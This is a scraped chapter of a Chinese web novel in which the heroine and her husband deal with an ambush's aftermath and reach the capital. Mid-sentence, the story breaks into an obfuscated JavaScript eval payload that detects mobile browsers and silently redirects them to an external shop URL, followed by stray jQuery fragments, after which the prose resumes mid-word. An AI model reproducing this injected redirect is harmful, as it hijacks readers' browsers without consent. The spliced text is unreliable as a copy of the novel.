文趣网 > 都市小说 > 穿成落魄首辅恶毒前妻后 > 第172章 京城
    乔知婉震惊地看着乔知栀。

    她认识的那个妹妹,在相府的时候连杀鸡都不敢看,现在却开了枪,杀了人。

    乔知婉脸色发白,嘴唇哆嗦了两下,想说什么,又咽了回去。

    在沈墨几人的配合下,黑衣人纷纷倒下。

    尸体横七竖八地躺着,鲜血流了一地。

    血腥气混着**味,呛得人想吐。

    沈墨还剑入鞘,转身走回来。

    乔知栀蹲在地上,浑身发抖。

    沈墨心一阵抽疼,柔柔喊了一声。

    “知栀。”

    乔知栀抬起头,看见沈墨,眼泪一下子就涌了出来,扑进他怀里,把脸埋在他胸口,哭出了声。

    沈墨搂着她,抬手按在她后脑勺,把她的脸压在自己胸口。

    “没事了。”

    屠香香蹲下来,翻了翻地上一个黑衣人的衣襟,从里面扯出一块腰牌。

    铜制的,上面刻着一个“衍”字,背面刻着摄政王府的标记。

    她把腰牌在手里掂了掂,递给沈墨。

    “是摄政王的人。”

    沈墨接过腰牌看了一眼,收进袖子里,没说话。

    霍雄走过来,满身是血,衣袍上全是刀口,有几处还在往外渗血,但他顾不上,看着满地的尸体皱了皱眉。

    “东家,这些尸体怎么办?”

    沈墨从怀里掏出一个小瓷瓶,递给他。

    “化尸水,每个尸体滴几滴,不要沾到手。”

    霍雄点了点头,接过瓷瓶,走到最近的尸体旁边,拧开瓶盖,滴了几滴在尸体上。

    药水碰到血的一瞬间,发出“滋啦”的声响。

    白烟冒起来,尸体以肉眼可见的速度腐蚀下去。

    血肉消融,骨头化水,不一会儿就只剩一摊暗黄色的水渍。

    空气中多了一股刺鼻的腐臭味,混着原本的血腥味,熏得人直犯恶心。

    乔知栀终于忍不住了,从沈墨怀里挣出来,撑住一旁的树,呕了出来。

    沈墨看着她瘦弱的背影,心更加抽疼。

    也许,他不该让她来京城。

    他应该让她留在平安镇。

    屠香香看了沈墨一眼,轻轻拍了拍他的肩膀,朝着乔知栀走过去,递上手帕。

    “没事吧。”

    乔知栀摇了摇头,接过屠香香递来的手帕,擦了擦嘴。

    “我没事。”

    “来京城前,我就准备好了,我知道会遇到什么。”

    沈墨看着她,瑞凤眼里翻涌着暗沉的光,喉结滚动了几下,没说话。

    屠香香蹲下来,看着乔知栀,递给她一个水囊。

    “喝口水,漱漱口。”

    乔知栀接过来,灌了一口,漱了漱,吐在地上,又灌了一口咽下去。

    水是凉的,从喉咙一路凉到胃里,把那股恶心压下去了一些。

    霍雄把化尸水滴完了所有的尸体,地上的暗黄色水渍在泥土里慢慢渗开,最后只剩下几片被血浸透的草叶,证明这里曾经躺着过人。

    他把瓷瓶拧好,还给沈墨,蹲下来喘着粗气。

    青竹和青兰在检查身上的伤口。

    青竹的手臂被划了一道,血把袖子染红了一大片;青兰的肩胛处挨了一刀,伤口不深,但血一直在往外渗。

    乔知婉从马车里翻出药箱,帮她们包扎,手在抖,但动作很稳。

    青竹看着乔知婉给自己包扎的样子,嘴角弯了一下。

    “谢谢乔大小姐。”

    乔知婉低着头,没说话,把纱布缠好,系了个结。

    吓得躲到彻底的乔知安,不知道什么时候,也爬出来了,弱弱道。

    “我,我也要学那个枪,保护你们,男人不能当孬种。”

    阿九跟着点头。

    “对,小的也要。”

    “明天就到京城了,到时候你们就回相府了。”

    沈墨看了一眼天边。

    天边泛起了鱼肚白,快亮了。

    乔知安唇瓣微动,没有再说话。

    大家心情都有点沉重。

    他也不是不识趣的人,带着阿九跟着霍雄,把营地收拾了一下,灭了篝火,把染血的地方用土掩埋好,然后上了马车继续赶路。

    没有人说话,马车里安安静静的,只有车轮碾过路面的咕噜声。

    乔知栀靠在沈墨肩膀上,小白趴在她膝盖上,三个人挤在一起。

    她闭上眼睛,一闭眼就看见那个黑衣人胸口炸

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591173|205117||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    开的血洞,眼睛睁着,嘴巴张着,倒下去的样子。

    她猛地睁开眼,看着车窗外的天空。

    天已经亮了,太阳从东边升起来,把云朵染成了橘红色,好看得很。

    她盯着那些云朵看了很久,心跳慢慢平复下来。

    “知栀。”

    沈墨的声音从头顶传来。

    “嗯。”

    “到了京城,你就待在家里,哪里也不要去。”

    乔知栀从他肩膀上抬起头,看着他。

    “我不是瓷做的,我没事。”

    沈墨看着她,沉默了一会儿,伸手揉了揉她的脑袋。

    “我知道你不是瓷做的。但我会担心。”

    乔知栀没说话,把脸埋进他胸口,闭上了眼睛。

    这一次,她梦见的是平安镇的院子,青砖铺地,花圃里种着山茶和兰花,小白在竹林里啃竹子,沈墨在灶台后面做饭。

    她在梦里笑了。

    马车走了整整一天。

    傍晚时分,终于到了京城。

    乔知栀掀开车帘,看着窗外的京城。

    街道比平安镇宽了不知道多少倍,两边的铺子一家挨着一家,招牌花花绿绿的,卖什么的都有。

    街上的人穿着绸缎,戴着金银,说话的声音比平安镇的大了不少,脚步也比平安镇的快了不少。

    马车拐进一条安静的巷子,在一座宅邸门口停下来。

    宅邸不大,但收拾得干净,青砖黛瓦。

    门楣上挂着一块匾额,写着“沈府”两个字。

    一个头发花白的老者从门里迎出来,穿着半旧的青布长衫,腰板挺得笔直,看见沈墨眼眶一下子就红了。

    “大人,您回来了。”

    沈墨点了点头:“忠叔,辛苦了。”

    忠叔擦了擦眼角,目光落在乔知栀身上,脸上的表情从激动变成冷淡,但没有说什么,侧身让开路。

    乔知栀心里明白。

    这个忠叔是收养沈墨的大杂院里的人。

    书里写过,他对沈墨视如己出,最恨的人就是原主乔知栀。

    因为原主打沈墨、骂沈墨、拿鞭子抽沈墨,忠叔都看在眼里,恨在心里。现在她回来了,忠叔能给她好脸色才怪。